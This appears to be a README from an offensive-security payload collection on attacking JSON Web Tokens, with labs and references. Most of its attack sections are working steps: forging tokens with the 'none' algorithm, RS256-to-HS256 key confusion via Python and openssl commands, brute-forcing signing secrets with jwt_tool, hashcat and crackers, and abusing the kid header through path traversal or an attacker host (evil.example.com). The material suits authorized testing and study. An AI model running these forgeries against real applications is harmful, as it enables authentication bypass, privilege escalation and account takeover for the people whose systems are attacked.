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README.md |
JWT - JSON Web Token
JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed.
Summary
- Summary
- Tools
- JWT Format
- JWT Signature - None algorithm (CVE-2015-9235)
- JWT Signature - RS256 to HS256 (CVE-2016-5431)
- JWT Secret
- JWT Kid Claim Misuse
- References
Tools
JWT Format
JSON Web Token : Base64(Header).Base64(Data).Base64(Signature)
Example : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFtYXppbmcgSGF4eDByIiwiZXhwIjoiMTQ2NjI3MDcyMiIsImFkbWluIjp0cnVlfQ.UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY
Where we can split it into 3 components separated by a dot.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 # header
eyJzdWIiOiIxMjM0[...]kbWluIjp0cnVlfQ # payload
UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY # signature
Header
Registered header parameter names defined in JSON Web Signature (JWS) RFC. The most basic JWT header is the following JSON.
{
"typ": "JWT",
"alg": "HS256"
}
Other parameters are registered in the RFC.
Parameter | Definition | Description |
---|---|---|
alg | Algorithm | Identifies the cryptographic algorithm used to secure the JWS |
jku | JWK Set URL | Refers to a resource for a set of JSON-encoded public keys |
jwk | JSON Web Key | The public key used to digitally sign the JWS |
kid | Key ID | The key used to secure the JWS |
x5u | X.509 URL | URL for the X.509 public key certificate or certificate chain |
x5c | X.509 Certificate Chain | X.509 public key certificate or certificate chain in PEM-encoded used to digitally sign the JWS |
x5t | X.509 Certificate SHA-1 Thumbprint) | Base64 url-encoded SHA-1 thumbprint (digest) of the DER encoding of the X.509 certificate |
x5t#S256 | X.509 Certificate SHA-256 Thumbprint | Base64 url-encoded SHA-256 thumbprint (digest) of the DER encoding of the X.509 certificate |
typ | Type | Media Type. Usually JWT |
cty | Content Type | This header parameter is not recommended to use |
crit | Critical | Extensions and/or JWA are being used |
Default algorithm is "HS256" (HMAC SHA256 symmetric encryption). "RS256" is used for asymmetric purposes (RSA asymmetric encryption and private key signature).
alg Param Value |
Digital Signature or MAC Algorithm | Requirements |
---|---|---|
HS256 | HMAC using SHA-256 | Required |
HS384 | HMAC using SHA-384 | Optional |
HS512 | HMAC using SHA-512 | Optional |
RS256 | RSASSA-PKCS1-v1_5 using SHA-256 | Recommended |
RS384 | RSASSA-PKCS1-v1_5 using SHA-384 | Optional |
RS512 | RSASSA-PKCS1-v1_5 using SHA-512 | Optional |
ES256 | ECDSA using P-256 and SHA-256 | Recommended |
ES384 | ECDSA using P-384 and SHA-384 | Optional |
ES512 | ECDSA using P-521 and SHA-512 | Optional |
PS256 | RSASSA-PSS using SHA-256 and MGF1 with SHA-256 | Optional |
PS384 | RSASSA-PSS using SHA-384 and MGF1 with SHA-384 | Optional |
PS512 | RSASSA-PSS using SHA-512 and MGF1 with SHA-512 | Optional |
none | No digital signature or MAC performed | Required |
Payload
{
"sub":"1234567890",
"name":"Amazing Haxx0r",
"exp":"1466270722",
"admin":true
}
Claims are the predefined keys and their values:
- iss: issuer of the token
- exp: the expiration timestamp (reject tokens which have expired). Note: as defined in the spec, this must be in seconds.
- iat: The time the JWT was issued. Can be used to determine the age of the JWT
- nbf: "not before" is a future time when the token will become active.
- jti: unique identifier for the JWT. Used to prevent the JWT from being re-used or replayed.
- sub: subject of the token (rarely used)
- aud: audience of the token (also rarely used)
JWT Encoder – Decoder: http://jsonwebtoken.io
JWT Claims
JWT Signature - None algorithm (CVE-2015-9235)
JWT supports a None
algorithm for signature. This was probably introduced to debug applications. However, this can have a severe impact on the security of the application.
None algorithm variants:
- none
- None
- NONE
- nOnE
To exploit this vulnerability, you just need to decode the JWT and change the algorithm used for the signature. Then you can submit your new JWT.
However, this won't work unless you remove the signature
Alternatively you can modify an existing JWT (be careful with the expiration time)
import jwt
jwtToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.YWUyMGU4YTI2ZGEyZTQ1MzYzOWRkMjI5YzIyZmZhZWM0NmRlMWVhNTM3NTQwYWY2MGU5ZGMwNjBmMmU1ODQ3OQ'
decodedToken = jwt.decode(jwtToken, verify=False)
# decode the token before encoding with type 'None'
noneEncoded = jwt.encode(decodedToken, key='', algorithm=None)
print(noneEncoded.decode())
JWT Signature - RS256 to HS256 (CVE-2016-5431)
Because the public key can sometimes be obtained by the attacker, the attacker can modify the algorithm in the header to HS256 and then use the RSA public key to sign the data.
The algorithm HS256 uses the secret key to sign and verify each message. The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.
import jwt
public = open('public.pem', 'r').read()
print public
print jwt.encode({"data":"test"}, key=public, algorithm='HS256')
⚠️ This behavior is fixed in the python library and will return this error jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.
. You need to install the following version: pip install pyjwt==0.4.3
.
Here are the steps to edit an RS256 JWT token into an HS256
-
Convert our public key (key.pem) into HEX with this command.
$ cat key.pem | xxd -p | tr -d "\\n" 2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
-
Generate HMAC signature by supplying our public key as ASCII hex and with our token previously edited.
$ echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a (stdin)= 8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0
-
Convert signature (Hex to "base64 URL")
$ python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=','')\")"
-
Add signature to edited payload
[HEADER EDITED RS256 TO HS256].[DATA EDITED].[SIGNATURE] eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA
JWT Secret
To create a JWT, a secret key is used to sign the header and payload, which generates the signature. The secret key must be kept secret and secure to prevent unauthorized access to the JWT or tampering with its contents. If an attacker is able to access the secret key, they can create, modify or sign their own tokens, bypassing the intended security controls.
Encode and Decode JWT with the secret
Using pyjwt: pip install pyjwt
import jwt
encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256')
jwt.decode(encoded, 'secret', algorithms=['HS256'])
Break JWT secret
Useful list of 3502 public-available JWT: wallarm/jwt-secrets/jwt.secrets.list, including your_jwt_secret
, change_this_super_secret_random_string
, etc.
JWT tool
First, bruteforce the "secret" key used to compute the signature using ticarpi/jwt_tool
python3 -m pip install termcolor cprint pycryptodomex requests
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI -d /tmp/wordlist -C
Then edit the field inside the JSON Web Token.
Current value of role is: user
Please enter new value and hit ENTER
> admin
[1] sub = 1234567890
[2] role = admin
[3] iat = 1516239022
[0] Continue to next step
Please select a field number (or 0 to Continue):
> 0
Finally, finish the token by signing it with the previously retrieved "secret" key.
Token Signing:
[1] Sign token with known key
[2] Strip signature from token vulnerable to CVE-2015-2951
[3] Sign with Public Key bypass vulnerability
[4] Sign token with key file
Please select an option from above (1-4):
> 1
Please enter the known key:
> secret
Please enter the key length:
[1] HMAC-SHA256
[2] HMAC-SHA384
[3] HMAC-SHA512
> 1
Your new forged token:
[+] URL safe: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da_xtBsT0Kjw7truyhDwF5Ic
[+] Standard: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da/xtBsT0Kjw7truyhDwF5Ic
- Recon:
python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw
- Scanning:
python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb
- Exploitation:
python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin
- Fuzzing:
python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txt
- Review:
python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin
JWT cracker
git clone https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE
Secret is "Sn1f"
jwt-pwn
git clone https://github.com/mazen160/jwt-pwn
python3 jwt-cracker.py -jwt "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJqd3QiOiJwd24ifQ.4pOAm1W4SHUoOgSrc8D-J1YqLEv9ypAApz27nfYP5L4" -t 10 -w jwt.secrets.list
[#] KEY FOUND: 1234
Hashcat
Support added to crack JWT (JSON Web Token) with hashcat at 365MH/s on a single GTX1080 - src
/hashcat -m 16500 hash.txt -a 3 -w 3 ?a?a?a?a?a?a
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...Fh7HgQ:secret
JWT Kid Claim Misuse
The "kid" (key ID) claim in a JSON Web Token (JWT) is an optional header parameter that is used to indicate the identifier of the cryptographic key that was used to sign or encrypt the JWT. It is important to note that the key identifier itself does not provide any security benefits, but rather it enables the recipient to locate the key that is needed to verify the integrity of the JWT.
-
Example #1 : Local file
{ "alg": "HS256", "typ": "JWT", "kid": "/root/res/keys/secret.key" }
-
Example #2 : Remote file
{ "alg":"RS256", "typ":"JWT", "kid":"http://localhost:7070/privKey.key" }
The content of the file specified in the kid header will be used to generate the signature.
// Example for HS256
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
your-256-bit-secret-from-secret.key
)
The common ways to misuse the kid header:
-
Get the key content to change the payload
-
Change the key path to force your own
>>> jwt.encode( ... {"some": "payload"}, ... "secret", ... algorithm="HS256", ... headers={"kid": "http://evil.example.com/custom.key"}, ... )
-
Change the key path to a file with a predictable content.
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p "" python3 jwt_tool.py <JWT> -I -hc kid -hv "/proc/sys/kernel/randomize_va_space" -S hs256 -p "2"
-
Modify the kid header to attempt SQL and Command Injections
Labs
- JWT authentication bypass via unverified signature
- JWT authentication bypass via flawed signature verification
- JWT authentication bypass via weak signing key
- JWT authentication bypass via jwk header injection
- JWT authentication bypass via jku header injection
- JWT authentication bypass via kid header path traversal
References
- 5 Easy Steps to Understanding JSON Web Token
- Attacking JWT authentication - Sep 28, 2016 - Sjoerd Langkemper
- Club EH RM 05 - Intro to JSON Web Token Exploitation - Nishacid
- Critical vulnerabilities in JSON Web Token libraries - March 31, 2015 - Tim McLean
- Hacking JSON Web Token (JWT) - Hate_401
- Hacking JSON Web Tokens - From Zero To Hero Without Effort - Websecurify Blog
- Hacking JSON Web Tokens - medium.com Oct 2019
- HITBGSEC CTF 2017 - Pasty (Web) - amon (j.heng)
- How to Hack a Weak JWT Implementation with a Timing Attack - Jan 7, 2017 - Tamas Polgar
- JSON Web Token Validation Bypass in Auth0 Authentication API - Ben Knight Senior Security Consultant - April 16, 2020
- JSON Web Token Vulnerabilities - 0xn3va
- JWT Hacking 101 - TrustFoundry - Tyler Rosonke - December 8th, 2017
- Learn how to use JSON Web Tokens (JWT) for Authentication - @dwylhq
- Privilege Escalation like a Boss - October 27, 2018 - janijay007
- Simple JWT hacking - @b1ack_h00d
- WebSec CTF - Authorization Token - JWT Challenge
- Write up – JRR Token – LeHack 2019 - 07/07/2019 - LAPHAZE